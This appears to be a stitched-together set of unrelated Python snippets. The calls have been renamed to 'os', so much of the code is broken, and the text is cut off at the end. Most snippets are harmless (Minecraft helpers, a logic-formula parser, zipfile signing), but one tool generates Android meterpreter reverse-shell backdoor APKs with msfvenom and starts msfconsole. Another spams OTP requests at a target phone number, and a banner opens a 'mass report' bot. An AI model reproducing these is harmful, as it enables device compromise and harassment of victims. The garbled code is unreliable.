def clock(seconds):
if seconds >= 60:
minutes = seconds // 60
seconds = seconds - minutes * 60
return os(minutes) + ":" + os(seconds)
else:
return "00:" + os(seconds)
def backdoor():
print(g + '\n[' + C + '*' + g + '] Choose Your method\n\n[' + C + '1' + g +
'] android/meterpreter/reverse_https\n[' + C + '2' + g +
'] android/meterpreter/reverse_http\n[' + C + '3' + g +
'] android/meterpreter/reverse_tcp\n[' + C + '4' + g +
'] android/shell/reverse_https\n[' + C + '5' + g +
'] android/shell/reverse_http\n[' + C + '6' + g +
'] android/shell/reverse_tcp')
co = input('[#] Zettamus' + Y + '/> ' + G)
if co == '':
exit('[' + R + '!' + g + '] Dont be empty')
elif co in ['1', '01']:
method = 'android/meterpreter/reverse_https'
elif co in ['2', '02']:
method = 'android/meterpreter/reverse_http'
elif co in ['3', '03']:
method = 'android/meterpreter/reverse_tcp'
elif co in ['4', '04']:
method = 'android/shell/reverse_https'
elif co in ['5', '05']:
method = 'android/shell/reverse_http'
elif co in ['6', '06']:
method = 'android/shell/reverse_tcp'
else:
exit(g + '[' + R + '!' + g + '] Wrong Input ')
lhost = input(g + '[' + R + '?' + g + '] LHOST : ' + G)
if lhost == '':
exit(g + '[' + R + '!' + g + '] Dont be empty')
lport = input(g + '[' + R + '?' + g + '] LPORT : ' + G)
if len(lport) < 4:
exit(g + '[' + R + '!' + g + '] Exit : LPORT must be 4 digit')
elif lport == '':
exit(g + '[' + R + '!' + g + '] Dont be empty')
nama = input(g + '[' + R + '?' + g + '] Payload name : ' + G)
if nama == '':
exit(g + '[' + R + '!' + g + '] Dont be empty')
elif '.apk' in nama:
pass
else:
nama = nama + '.apk'
print(g + '[' + C + '*' + g + '] Running Proccess ')
print(g + '[' + C + '*' + g + '] Creating Payload with lhost',
C + lhost + g, 'and lport', G + lport)
cr = os('msfvenom -p ' + method + ' LHOST=' + lhost + ' LPORT=' + lport +
' -o /data/data/com.termux/files/home/backdoor/' + nama +
' > /dev/null 2>&1')
if cr == 0:
tik(g + '[' + C + '*' + g +
'] Succesfully creating backdoor payload\n' + g + '[' + C + '*' +
g + '] Payload saved it : ' + G + 'home/backdoor/' + nama)
else:
exit(g + '[' + R + '!' + g + '] Error When Create backdoor')
msf = input('[?] Do you want to jump to msfconsole [Y/n] : ')
if msf in ['Y', 'y']:
print(g + '[' + C + '*' + g + '] Running Postgresql')
os('pg_ctl -D $PREFIX/var/lib/postgresql start > /dev/null 2>&1')
print(g + '[' + C + '*' + g + '] Running msfconsole ')
exit(os('msfconsole'))
else:
exit(g + '[' + R + '!' + g + '] Exit: Ok!')
def start_game():
os('cls')
## Charecter naming/ intro
player.name = raw_input('What is the name of your character')
story1 = "you are a adventurer who has recieved a quest to save some captured villagers from a kobald hideout"
story2 = "you've managed to track them down to a cave in the forest near the village"
story3 = "you are now in front of the enterance to the cave"
print("Begin your quest now")
main_game_loop()
def fctBridge(p1, p2):
xp, yp, zp = mc.player.getTilePos()
if p2 == True:
M = "WOOD"
else:
M = "COBBLESTONE"
Bridge.bridge(xp, yp, zp, "North", M)
os('omxplayer -o local Desktop/minecraft/Magic_Wand/songs/Bridge.mp3')
def fctMine(p1, p2):
xp, yp, zp = mc.player.getTilePos()
if p1 == True:
size = 80
if p1 == False:
size == 15
Mine.Mine(xp, yp, zp, "North", 15)
os('omxplayer -o local Desktop/minecraft/Magic_Wand/songs/Mine.mp3')
def fctMidas(p1, p2):
xp, yp, zp = mc.player.getTilePos()
if p1 == True:
s = 15
if p1 == False:
s = 5
if p2 == True:
idb = 57
if p2 == False:
idb = 41
Midas.Midascube(xp, yp, zp, s, idb)
os('omxplayer -o local Desktop/minecraft/Magic_Wand/songs/Midas.mp3')
def detect_os(host, executor_factory=_executor_factory, available_oses=_available_oses):
executor = executor_factory(host)
for os in available_oses():
if os.installed_on(host, executor):
return Proxy(host, os(executor))
raise UnsupportedOSError(
'No supported operating system found at {0}'.format(host))
def fctHouse(p1, p2):
xp, yp, zp = mc.player.getTilePos()
xp = xp + 4
if p1 == True:
length = 12
width = 14
height = 12
if p1 == False:
length = 7
width = 5
height = 7
if p2 == True:
M = "COBBLESTONE"
if p2 == False:
M = "WOOD"
House.house(xp, yp, zp, length, width, height, M)
os('omxplayer -o local songs/House.mp3')
def menu():
banner()
ip()
print()
print(g + '[' + C + '01' + g + '] Create Backdoor ')
print(g + '[' + C + '02' + g + '] Jump to msfconsole')
try:
tik(up)
except:
pass
print(g + '[' + R + '00' + g + '] Exit')
try:
zett = input(g + '\n[' + R + '##' + g + '] Zettamus' + Y + '/> ' + G)
except KeyboardInterrupt:
exit(g + '[' + R + '!' + g + '] Key Interrupt : Exit!')
if zett == '':
exit(g + '\n[' + R + '!' + g + '] Dont be empty')
elif zett in ['1', '01']:
backdoor()
elif zett in ['2', '02']:
msf()
elif zett in ['0', '00']:
exit(tik(g + '\n[' + R + '!' + g + '] VENOM TOOLS : EASY TO USE'))
elif zett == '99':
try:
tik(update)
print(g + '[' + C + '*' + g + '] Please Wait..')
os('cd ..;rm -rf backdoor')
os('cd ..;git clone https://github.com/zettamus/backdoor > /dev/null 2>&1'
)
tik(g + '[' + C + '*' + g + '] Update Successfully ')
exit(os('..;cd backdoor;python3 venom.py'))
except:
exit(
tik(g + '[' + C + '*' + g +
'] Your venom is the latest version'))
else:
exit(g + '\n[' + R + '!' + g + '] Wrong input ')
def do_env():
def os():
if sys.platform.startswith('l'):
return "Linux"
elif sys.platform.startswith('w'):
return "Windows"
elif sys.platform.startswith('d'):
return "Mac"
elif sys.platform.startswith('o'):
return "OS"
else:
return "Unknown"
server = {}
python = {}
server['Server Time'] = time.strftime("%Y-%m-%d %H:%M:%S",
time.localtime())
server['Server Domain'] = getvalue("SERVER_NAME")
server['Server IP'] = socket.gethostbyname(
server['Server Domain']) or "Unknown"
server['Server OS'] = os()
server['Server Software'] = getvalue("SERVER_SOFTWARE") or "Unknown"
server['Cgi Path'] = getvalue("PATH_INFO") or "Unknown"
serverInfo = ""
pythonInfo = ""
for k, v in server.items():
serverInfo += "<li><u>%s:</u> %s</li>" % (k, v)
for k, v in python.items():
pythonInfo += "<li><u>%s:</u> %s</li>" % (k, v)
env = """
<table width="100%%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<h2>Server »</h2>
<ul class="info">
%s
</ul>
<h2>Python »</h2>
<ul class="info">
%s
<h2>waitting for you to add!!!</h2>
</ul>
</tr></td>
</table>
""" % (serverInfo, pythonInfo)
print env
def do_env():
def os():
if sys.platform.startswith('l'):
return "Linux"
elif sys.platform.startswith('w'):
return "Windows"
elif sys.platform.startswith('d'):
return "Mac"
elif sys.platform.startswith('o'):
return "OS"
else:
return "Unknown"
server ={}
python ={}
server['Server Time'] = time.strftime("%Y-%m-%d %H:%M:%S",time.localtime())
server['Server Domain'] = getvalue("SERVER_NAME")
server['Server IP'] = socket.gethostbyname(server['Server Domain']) or "Unknown"
server['Server OS'] = os()
server['Server Software'] = getvalue("SERVER_SOFTWARE") or "Unknown"
server['Cgi Path'] = getvalue("PATH_INFO") or "Unknown"
serverInfo = ""
pythonInfo = ""
for k ,v in server.items():
serverInfo += "<li><u>%s:</u> %s</li>" % (k, v)
for k ,v in python.items():
pythonInfo += "<li><u>%s:</u> %s</li>" % (k, v)
env = """
<table width="100%%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<h2>Server »</h2>
<ul class="info">
%s
</ul>
<h2>Python »</h2>
<ul class="info">
%s
<h2>waitting for you to add!!!</h2>
</ul>
</tr></td>
</table>
""" %(serverInfo,pythonInfo)
print env
def sendiotdata(totaldevices, topic):
iotdevice = 1
while iotdevice <= totaldevices:
iotdevicenumber = random.randint(1, 999999)
print("IoT device no."), iotdevicenumber
iotdeviceinfo = IoTdeviceScanData(randomip(1), openport(), stateport(),
serviceport(openport()),
portos(serviceport(openport())),
os(), iottemp(), iotcpu(), iotmem())
iotstring = 'IoT Device: ' + str(
iotdevicenumber
) + ',' + 'Initial IP Address: ' + iotdeviceinfo.ip_addr + ',' + 'IoT temp F deg : ' + iotdeviceinfo.iottemp + ',' + 'IoT cpu capacity: ' + iotdeviceinfo.iotcpu + ',' + 'IoT memory capacity: ' + iotdeviceinfo.iotmem + ',' + 'Operating System: ' + iotdeviceinfo.operatingsystem + ',' + 'Port OS: ' + iotdeviceinfo.portoperatingsystem + ',' + 'Port state: ' + iotdeviceinfo.portstate + ',' + 'Port protocol: ' + iotdeviceinfo.portservice + ',' + 'Open ports: ' + iotdeviceinfo.openports
print iotstring
#producer.send(topic,iotstring)
iotproducer.produce(topic, iotstring, callback=delivery_callback)
time.sleep(3)
iotdevice += 1
print('')
def spam():
os('clear')
Bannerinf()
try:
print '%s[%s?%s] %sMasukkan Nomor target Dengan awalan 08 atau 62 %s[%s?%s]\n' % (
R, B, R, W, R, B, R)
phone = raw_input('' + R + '[' + B + '+' + R + '] ' + W +
'Nomor target ' + R + ': ' + W + '')
Bannerinf()
KNTL = {'msisdn': '' + phone, 'accept': 'call'}
count = 0
os('clear')
Bannerinf()
while count < 3:
r = requests.post('https://www.tokocash.com/oauth/otp', data=KNTL)
if 'otp_attempt_left' in r.text:
print '%s[%s+%s] %sOTP berhasil Dikirim ...' % (R, B, R, W)
else:
print '%s[%s-%s] %sOTP Gagal Dikirim ...' % (R, B, R, W)
sleep(60)
count = count + 1
print '[+] Stopped...'
sleep(1)
sys.exit(1)
except EOFError:
sys.exit()
except KeyboardInterrupt:
sys.exit()
except requests.exceptions.ConnectionError:
os('clear')
Bannerinf()
print('{}[{}-{}] {}Connection Error ...').format(R, Y, R, W)
print ''
sleep(1)
exit()
def find_sentences(instring):
str2 = ""
marker = False
n = -1
il = -1
total = -1
c = -1
neg_value = []
str1 = ""
sent1 = []
sent_type2 = []
wneg = []
output = [0, 1, 2, 3, 4, 5, 6]
# the skel name list names each single sentence after a greek letter, even if
# the same sentence appears twice it obtains a different name on the second
# appearance
skel_nam = []
skel_nam2 = {}
q = []
skel_string = instring
bool1 = False
bool2 = False
p = 947
res = ""
temp_string = ""
connectives = ["&", idisj, iff, conditional, nonsequitur, implies]
arr1 = []
cond_r2 = cond_r + neg
instring2 = copy.copy(instring)
instring = instring.strip()
grandparent_type = mainconn(instring)
if instring.find("~(") > -1:
instring = instring.replace("~(", "(!")
if instring.find(implies) > -1:
str2 = implies
elif instring.find(nonsequitur) > -1:
str2 = nonsequitur
if os(instring) == False:
temp_string = mainconn(instring)
if instring.find(implies) > -1:
str1 = implies
elif instring.find(nonsequitur) > -1:
str1 = nonsequitur
else:
if temp_string == iff:
str1 = "bicond"
elif temp_string == conditional:
str1 = "cond"
elif temp_string == "&":
str1 = "cj"
sent1.append(instring)
neg_value.append("")
sent_type2.append(str1)
wneg.append(instring)
# elif os(instring):
# otemp_sent = instring
#
# sent1 = [0 for row in range(3)]
# neg_value = [0 for row in range(3)]
# sent_type2 = [0 for row in range(3)]
# sent_type2[2] = "cj"
# wneg = [0 for row in range(3)]
#
# if instring.find("~") > -1 or instring.find(cond_r2) > -1:
# instring = instring.replace("~", "")
# instring = instring.replace(cond_r2, cond_r)
# neg_value[2] = "~"
# else:
# neg_value[2] = ""
#
# sent1[2] = instring
#
#
# wneg[2] = otemp_sent
# output[1] = sent1
# output[2] = neg_value
# output[3] = sent_type2
# output[4] = wneg
# find_sentences_complex = output
# return find_sentences_complex
#children = [[[ 0 for row in range(3)] for row1 in range(11)] for row2 in range(11)]
j = -1
for i in range(0, len(instring)):
str1 = instring[i:(i + 1)]
for o in connectives:
if str1 == o:
j += 1
while n <= j + 1:
il += 1
if il > 15:
break
no_conn = True
e = 0
l = len(instring)
x = -1
while x < l - 1:
x += 1
temp_string = instring[x: x + 1]
if instring[x: x + 1] == "(":
if marker == False:
z = x
marker = True
total += 1
elif instring[x: x + 1] == ")":
total -= 1
if total == -1:
marker = False
e += 1
c += 1
temp_sent = instring[z: x + 1]
#temp_sent = remove_outer_paren(temp_sent)
otemp_sent = copy.copy(temp_sent)
if (len(instring) - len(temp_sent)) > 2:
if os(temp_sent):
if temp_sent.find("~") > -1:
neg_value.append("~")
temp_sent = temp_sent.replace("~", "")
elif temp_sent.find(cond_r2) > -1:
neg_value.append("~")
temp_sent = temp_sent.replace(cond_r2, cond_r)
elif temp_sent.find(cond_r2) == -1 and temp_sent.find(cond_r) > -1:
neg_value.append("")
elif temp_sent.find("~") == -1:
neg_value.append("")
else:
break # stop
result = mainconn(temp_sent)
temp_mc = result[0]
result = mainconn(instring)
parent_type = result[0]
if z > instring2.find(str2) and str2 != "":
n = n + 1
res = "consq"
elif grandparent_type == "&" and parent_type == "&":
if temp_mc == "":
res = "cj"
n = n + 1
elif temp_mc == conditional:
res = "cond"
elif temp_mc == iff:
res = "bicond"
elif temp_mc == idisj:
res = "disj"
elif parent_type == conditional or parent_type == iff or grandparent_type == conditional or grandparent_type == iff:
if temp_mc == "":
n = n + 1
if parent_type == iff:
if bool1:
res = "bic2"
else:
res = "bic1"
bool1 = True
elif parent_type == idisj:
if bool1:
res = "disjc2"
else:
res = "disjc1"
bool1 = True
elif instring2.find(otemp_sent) < instring2.find(conditional):
if bool1:
res = "ant2"
else:
res = "ant"
bool1 = True
else:
if bool2:
res = "cons2"
else:
res = "cons"
bool2 = True
elif temp_mc == conditional:
res = "cond"
elif temp_mc == iff:
res = "bicond"
elif z < instring2.find(str2) and str2 != "":
res = "ncj"
n = n + 1
else:
res = "ncj"
n = n + 1
# if temp_sent == "(z'Ax')":
# pp = 7
sent1.append(temp_sent)
sent_type2.append(res)
wneg.append(otemp_sent)
if os(otemp_sent):
p += 1
skel_string = skel_string.replace(
otemp_sent, unichr(p))
q = [otemp_sent, unichr(p)]
skel_nam.append(q)
# skel_nam2[otemp_sent] = unichr(p)
else:
skel_nam.append("")
# if k > 0:
# m += 1
# children[k][m][0] = temp_sent
# children[k][m][1] = neg_value[c]
else:
instring = instring[1:len(instring) - 1]
l = len(instring)
x = -1
c -= - 1
e -= - 1
total = -1
marker = False
w = -1
if n < j + 1:
if len(sent1) > w and parent_type != implies and parent_type != nonsequitur:
while w < len(sent1):
w += 1
str21 = sent1[w]
if not os(str21) and w != 0:
if str21 not in arr1:
bool1 = False
bool2 = False
instring = str21
k = w
arr1.append(instring)
break
main_sent = False
for i in range(0, len(sent1)):
# if os(sent1(i)) == False:
# str1 = wneg[i]
# str2 = str1.replace("~", "")
# str2 = str2.repalce(cond_r2, cond_r)
# wneg[i] = str2
temp_string = sent1[i]
if temp_string.find("!") > -1:
sent1[i] = sent1[i].replace("(!", "~(")
wneg[i] = wneg[i].replace("(!", "~(")
output[0] = sent1
output[1] = neg_value
output[2] = sent_type2
output[3] = wneg
# output[4] = children
output[5] = skel_string
output[6] = skel_nam
find_sentences = output
return find_sentences
def stop(self, command):
os('button.py %n'.format(command))
#!/usr/bin/env python
import os
import sys
if __name__ == '__main__':
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'wheelofluck.settings')
try:
from django.core.management import execute_from_command_line
except os as exc:
raise os("Couldn't import Django. Are you sure it's installed and "
"available on your PYTHONPATH environment variable? Did you "
"forget to activate a virtual environment?") from exc
execute_from_command_line(sys.argv)
def mainconn(str1):
# str_main = str_main.replace(implies,"&")
# str_main = str_main.replace(nonsequitur, "&")
# str_main = str_main.replace("~","")
# str_main = str_main.replace(" ", "")
if os(str1):
return ["", 0]
if str1.find("&") < -1 and str1.find(idisj) < -1 and str1.find(iff) < -1 and str1.find(conditional) < -1 and \
str1.find(implies) < -1 and str1.find(nonsequitur) < -1 and str1.find(xorr) < -1:
return
# arr1 = [ 0 for row in range(6)]
# arr2 = [ 0 for row in range(6)]
str3 = str1
j = 0
# zzz
for i in range(0, len(str1)):
str2 = str1[i:i + 1]
if str2 == "(":
j += 1
elif str2 == ")":
j -= 1
if j == 0 and i + 1 != len(str1):
break
elif j == 0 and i + 1 == len(str1):
str1 = str1[1:len(str1) - 1]
j = -1
for i in range(0, len(str1)):
str2 = str1[i:i + 1]
if str2 == conditional:
f = -1
if str2 == idisj or str2 == "&" or str2 == iff or str2 == implies or \
str2 == nonsequitur or str2 == conditional or str2 == xorr:
if str3 != str2 and str3 != "":
j = j + 1
str3 = str2
if j == -1:
mainconn = [str3, i]
return mainconn
k = -1
j = -1
while True:
k += 1
if k > 150:
break
for i in range(0, len(str1)):
str2 = str1[i:i + 1]
if str2 == "(":
j += 1
elif str2 == ")":
j -= 1
if j == -1 and (str2 == idisj or str2 == "&" or str2 == iff or str2 == implies
or str2 == nonsequitur or str2 == conditional or str2 == xorr):
list1 = [str2, i]
mainconn = [str2, i]
return mainconn
# -*- coding: utf-8 -*-
import platform
class os:
def __init__(self):
platform.system()
def osWindows(self):
if platform.system() == 'Linux':
return False
else:
return True
def changeDir(self, SystemOS):
import os
if SystemOS == False:
path = '/export'
if os.path.exists(path):
return path
else:
return False
else:
return 'Jiny OS'
i = os()
zjisti = i.osWindows()
print i.changeDir(zjisti)
def sign_zipfile(file, key, hash="sha1", outfile=signedimp.HASHFILE_NAME):
"""Sign all the modules found in the given zipfile.
This function walks the given zipfile looking for python modules, and
signs everything it finds in that file using the given key. If the named
file is not a zipfile, the function returns immediately and leaves the
file unchanged.
By default the signed hash file is written into the root of the zipfile;
redirect output by passing a filename or file object as 'outfile'.
"""
try:
zipfile.ZipFile(file).close()
except zipfile.BadZipfile:
return
infile = zipfile.ZipFile(file, "a")
other_sigs = []
# Simulate "os" module for passing to the hash_files function.
class os:
sep = "/"
class path:
def join(self, *paths):
return "/".join(paths)
def dirname(self, path):
if "/" not in path:
return ""
return path.rsplit("/", 1)[0]
def basename(self, path):
if "/" not in path:
return path
return path.rsplit("/", 1)[1]
def exists(self, path):
try:
infile.getinfo(path)
except KeyError:
return False
else:
return True
path = path()
# Careful not to inlude the outfile itself in the signature.
def files():
for nm in infile.namelist():
if isinstance(outfile, basestring) and nm == outfile:
continue
yield nm
hashdata = hash_files("", files(), hash=hash, read=infile.read, os=os())
sig = base64.b64encode(key.sign(hashdata))
# If the file already exists, try to add our signature to it.
# If the data has changed, the old data is silently thrown away.
if isinstance(outfile, basestring):
try:
infile.getinfo(outfile)
except KeyError:
pass
else:
offset = 0
for ln in infile.read(outfile).split("\n"):
offset += len(ln) + 1
if not ln.strip():
break
other_sigs.append(ln + "\n")
olddata = infile.read(outfile)[offset:]
if olddata != hashdata:
other_sigs = []
# Write out the new hash data with prepended signature.
if isinstance(outfile, basestring):
data = [key.fingerprint() + " " + sig + "\n"]
for sig2 in other_sigs:
data.append(sig2)
data.append("\n")
data.append(hashdata)
infile.writestr(outfile, "".join(data))
else:
outfile.write(key.fingerprint() + " " + sig + "\n")
for sig2 in other_sigs:
outfile.write(sig2)
outfile.write("\n")
outfile.write(hashdata)
def sign_zipfile(file,key,hash="sha1",outfile=signedimp.HASHFILE_NAME):
"""Sign all the modules found in the given zipfile.
This function walks the given zipfile looking for python modules, and
signs everything it finds in that file using the given key. If the named
file is not a zipfile, the function returns immediately and leaves the
file unchanged.
By default the signed hash file is written into the root of the zipfile;
redirect output by passing a filename or file object as 'outfile'.
"""
try:
zipfile.ZipFile(file).close()
except zipfile.BadZipfile:
return
infile = zipfile.ZipFile(file,"a")
other_sigs = []
# Simulate "os" module for passing to the hash_files function.
class os:
sep = "/"
class path:
def join(self,*paths):
return "/".join(paths)
def dirname(self,path):
if "/" not in path:
return ""
return path.rsplit("/",1)[0]
def basename(self,path):
if "/" not in path:
return path
return path.rsplit("/",1)[1]
def exists(self,path):
try:
infile.getinfo(path)
except KeyError:
return False
else:
return True
path = path()
# Careful not to inlude the outfile itself in the signature.
def files():
for nm in infile.namelist():
if isinstance(outfile,basestring) and nm == outfile:
continue
yield nm
hashdata = hash_files("",files(),hash=hash,read=infile.read,os=os())
sig = base64.b64encode(key.sign(hashdata))
# If the file already exists, try to add our signature to it.
# If the data has changed, the old data is silently thrown away.
if isinstance(outfile,basestring):
try:
infile.getinfo(outfile)
except KeyError:
pass
else:
offset = 0
for ln in infile.read(outfile).split("\n"):
offset += len(ln) + 1
if not ln.strip():
break
other_sigs.append(ln + "\n")
olddata = infile.read(outfile)[offset:]
if olddata != hashdata:
other_sigs = []
# Write out the new hash data with prepended signature.
if isinstance(outfile,basestring):
data = [key.fingerprint() + " " + sig + "\n"]
for sig2 in other_sigs:
data.append(sig2)
data.append("\n")
data.append(hashdata)
infile.writestr(outfile,"".join(data))
else:
outfile.write(key.fingerprint() + " " + sig + "\n")
for sig2 in other_sigs:
outfile.write(sig2)
outfile.write("\n")
outfile.write(hashdata)
def msf():
print(g + '[' + C + '*' + g + '] Running Postgresql')
os('pg_ctl -D $PREFIX/var/lib/postgresql start > /dev/null 2>&1')
print(g + '[' + C + '*' + g + '] Running msfconsole ')
exit(os('msfconsole'))
def on_modified(self, event):
logger.info("文件被修改了 %s" % event.src_path)
file = event.src_path
if os.path.isfile(file):
os(file)
import requests
import colorama
import threading
import os
import ctypes
from colorama import Fore, Style
from threading import Thread
from sys import stdout
from requests import Session
from time import strftime, gmtime
sent = 0
session = Session()
b = Style.BRIGHT
os = os.system
os('cls')
ctypes.windll.kernel32.SetConsoleTitleW(f"[MASS REPORT] By Dakari ")
print(f"""
{b+Fore.RED}
We On Demon Timing
; ;
ED. ED.
., ., E#Wi ,; E#Wi
,Wt ,Wt E###G. f#i E###G.
.. i#D. i#D. E#fD#W; .E#t .. E#fD#W;
;W, f#f f#f E#t t##L i#W, ;W, E#t t##L
j##, .D#i .D#i E#t .E#K, L#D. j##, E#t .E#K,
G###, :KW, :KW, E#t j##f :K#Wfff; G###, E#t j##f
:E####, t#f t#f E#t :E#K: i##WLLLLt :E####, E#t :E#K:
import os
# engine = pyttsx3.init()
os(espeak('Sally sells seashells by the seashore.'))
# engine.say('The quick brown fox jumped over the lazy dog.')
# engine.runAndWait()
# bird trying to fly
def almost():
return (
" .---. .-----------\n / \\ __ / ------\n / / \\( )/ -----\n ////// \' \\/ ` ---\n //// / // : : ---\n // / / ` \'--\n// //..\\\\\n ====UU====UU====\n \'//||\\\\`\n \'\'``\n"
)
# bird flying
def fly():
return (
" .ze$$e.\n .ed$$$eee.. .$$$$$$$P\"\"\"\n z$$$$$$$$$$$$$$$$$ee$$$$$$\"\n .d$$$$$$$$$$$$$$$$$$$$$$$$$\"\n .$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$e..\n .$$****\"\"\"\"***$$$$$$$$$$$$$$$$$$$$$$$$$$$be.\n \"\"**$$$$$$$$$$$$$$$$$$$$$$$L\n z$$$$$$$$$$$$$$$$$$$$$$$$$\n .$$$$$$$$P**$$$$$$$$$$$$$$$$\n d$$$$$$$\" 4$$$$$\n z$$$$$$$$$ $$$P\"\n d$$$$$$$$$F $P\"\n $$$$$$$$$$F\n *$$$$$$$$\"\n \"***\"\"\n"
)
sudo()
prereqs = prebuilder()
print(bird())
print(intro())
osname = os()
print(eggs())
instpkgs = installed(osname)
availpkgs = avail(osname)
notin = missing(availpkgs, instpkgs)
echo(notin, instpkgs, availpkgs, wc_dic)
# result(len(missing(prereqs, av, ins)))
print(nest())
print("\n" + ending(len(notin), nester()) + "\n\n")
report(replist)
def find_sentences(instring):
str2 = ""
marker = False
n = -1
il = -1
total = -1
c = -1
neg_value = []
str1 = ""
sent1 = []
sent_type2 = []
wneg = []
output = [0, 1, 2, 3, 4, 5, 6]
# the skel name list names each single sentence after a greek letter, even if
# the same sentence appears twice it obtains a different name on the second
# appearance
skel_nam = []
skel_nam2 = {}
q = []
skel_string = instring
bool1 = False
bool2 = False
p = 947
res = ""
temp_string = ""
connectives = ["&", idisj, iff, conditional, nonsequitur, implies]
arr1 = []
cond_r2 = cond_r + neg
instring2 = copy.copy(instring)
instring = instring.strip()
grandparent_type = mainconn(instring)
if instring.find("~(") > -1:
instring = instring.replace("~(", "(!")
if instring.find(implies) > -1:
str2 = implies
elif instring.find(nonsequitur) > -1:
str2 = nonsequitur
if os(instring) == False:
temp_string = mainconn(instring)
if instring.find(implies) > -1:
str1 = implies
elif instring.find(nonsequitur) > -1:
str1 = nonsequitur
else:
if temp_string == iff:
str1 = "bicond"
elif temp_string == conditional:
str1 = "cond"
elif temp_string == "&":
str1 = "cj"
sent1.append(instring)
neg_value.append("")
sent_type2.append(str1)
wneg.append(instring)
# elif os(instring):
# otemp_sent = instring
#
# sent1 = [0 for row in range(3)]
# neg_value = [0 for row in range(3)]
# sent_type2 = [0 for row in range(3)]
# sent_type2[2] = "cj"
# wneg = [0 for row in range(3)]
#
# if instring.find("~") > -1 or instring.find(cond_r2) > -1:
# instring = instring.replace("~", "")
# instring = instring.replace(cond_r2, cond_r)
# neg_value[2] = "~"
# else:
# neg_value[2] = ""
#
# sent1[2] = instring
#
#
# wneg[2] = otemp_sent
# output[1] = sent1
# output[2] = neg_value
# output[3] = sent_type2
# output[4] = wneg
# find_sentences_complex = output
# return find_sentences_complex
#children = [[[ 0 for row in range(3)] for row1 in range(11)] for row2 in range(11)]
j = -1
for i in range(0, len(instring)):
str1 = instring[i:(i + 1)]
for o in connectives:
if str1 == o:
j += 1
while n <= j + 1:
il += 1
if il > 15:
break
no_conn = True
e = 0
l = len(instring)
x = -1
while x < l - 1:
x += 1
temp_string = instring[x:x + 1]
if instring[x:x + 1] == "(":
if marker == False:
z = x
marker = True
total += 1
elif instring[x:x + 1] == ")":
total -= 1
if total == -1:
marker = False
e += 1
c += 1
temp_sent = instring[z:x + 1]
#temp_sent = remove_outer_paren(temp_sent)
otemp_sent = copy.copy(temp_sent)
if (len(instring) - len(temp_sent)) > 2:
if os(temp_sent):
if temp_sent.find("~") > -1:
neg_value.append("~")
temp_sent = temp_sent.replace("~", "")
elif temp_sent.find(cond_r2) > -1:
neg_value.append("~")
temp_sent = temp_sent.replace(cond_r2, cond_r)
elif temp_sent.find(
cond_r2
) == -1 and temp_sent.find(cond_r) > -1:
neg_value.append("")
elif temp_sent.find("~") == -1:
neg_value.append("")
else:
break # stop
result = mainconn(temp_sent)
temp_mc = result[0]
result = mainconn(instring)
parent_type = result[0]
if z > instring2.find(str2) and str2 != "":
n = n + 1
res = "consq"
elif grandparent_type == "&" and parent_type == "&":
if temp_mc == "":
res = "cj"
n = n + 1
elif temp_mc == conditional:
res = "cond"
elif temp_mc == iff:
res = "bicond"
elif temp_mc == idisj:
res = "disj"
elif parent_type == conditional or parent_type == iff or grandparent_type == conditional or grandparent_type == iff:
if temp_mc == "":
n = n + 1
if parent_type == iff:
if bool1:
res = "bic2"
else:
res = "bic1"
bool1 = True
elif parent_type == idisj:
if bool1:
res = "disjc2"
else:
res = "disjc1"
bool1 = True
elif instring2.find(
otemp_sent) < instring2.find(
conditional):
if bool1:
res = "ant2"
else:
res = "ant"
bool1 = True
else:
if bool2:
res = "cons2"
else:
res = "cons"
bool2 = True
elif temp_mc == conditional:
res = "cond"
elif temp_mc == iff:
res = "bicond"
elif z < instring2.find(str2) and str2 != "":
res = "ncj"
n = n + 1
else:
res = "ncj"
n = n + 1
# if temp_sent == "(z'Ax')":
# pp = 7
sent1.append(temp_sent)
sent_type2.append(res)
wneg.append(otemp_sent)
if os(otemp_sent):
p += 1
skel_string = skel_string.replace(
otemp_sent, unichr(p))
q = [otemp_sent, unichr(p)]
skel_nam.append(q)
# skel_nam2[otemp_sent] = unichr(p)
else:
skel_nam.append("")
# if k > 0:
# m += 1
# children[k][m][0] = temp_sent
# children[k][m][1] = neg_value[c]
else:
instring = instring[1:len(instring) - 1]
l = len(instring)
x = -1
c -= -1
e -= -1
total = -1
marker = False
w = -1
if n < j + 1:
if len(
sent1
) > w and parent_type != implies and parent_type != nonsequitur:
while w < len(sent1):
w += 1
str21 = sent1[w]
if not os(str21) and w != 0:
if str21 not in arr1:
bool1 = False
bool2 = False
instring = str21
k = w
arr1.append(instring)
break
main_sent = False
for i in range(0, len(sent1)):
# if os(sent1(i)) == False:
# str1 = wneg[i]
# str2 = str1.replace("~", "")
# str2 = str2.repalce(cond_r2, cond_r)
# wneg[i] = str2
temp_string = sent1[i]
if temp_string.find("!") > -1:
sent1[i] = sent1[i].replace("(!", "~(")
wneg[i] = wneg[i].replace("(!", "~(")
output[0] = sent1
output[1] = neg_value
output[2] = sent_type2
output[3] = wneg
# output[4] = children
output[5] = skel_string
output[6] = skel_nam
find_sentences = output
return find_sentences
import os
os('omxplayer -o local songs/heighho.mp3')
def mainconn(str1):
# str_main = str_main.replace(implies,"&")
# str_main = str_main.replace(nonsequitur, "&")
# str_main = str_main.replace("~","")
# str_main = str_main.replace(" ", "")
if os(str1):
return ["", 0]
if str1.find("&") < -1 and str1.find(idisj) < -1 and str1.find(iff) < -1 and str1.find(conditional) < -1 and \
str1.find(implies) < -1 and str1.find(nonsequitur) < -1 and str1.find(xorr) < -1:
return
# arr1 = [ 0 for row in range(6)]
# arr2 = [ 0 for row in range(6)]
str3 = str1
j = 0
# zzz
for i in range(0, len(str1)):
str2 = str1[i:i + 1]
if str2 == "(":
j += 1
elif str2 == ")":
j -= 1
if j == 0 and i + 1 != len(str1):
break
elif j == 0 and i + 1 == len(str1):
str1 = str1[1:len(str1) - 1]
j = -1
for i in range(0, len(str1)):
str2 = str1[i:i + 1]
if str2 == conditional:
f = -1
if str2 == idisj or str2 == "&" or str2 == iff or str2 == implies or \
str2 == nonsequitur or str2 == conditional or str2 == xorr:
if str3 != str2 and str3 != "":
j = j + 1
str3 = str2
if j == -1:
mainconn = [str3, i]
return mainconn
k = -1
j = -1
while True:
k += 1
if k > 150:
break
for i in range(0, len(str1)):
str2 = str1[i:i + 1]
if str2 == "(":
j += 1
elif str2 == ")":
j -= 1
if j == -1 and (str2 == idisj or str2 == "&" or str2 == iff
or str2 == implies or str2 == nonsequitur
or str2 == conditional or str2 == xorr):
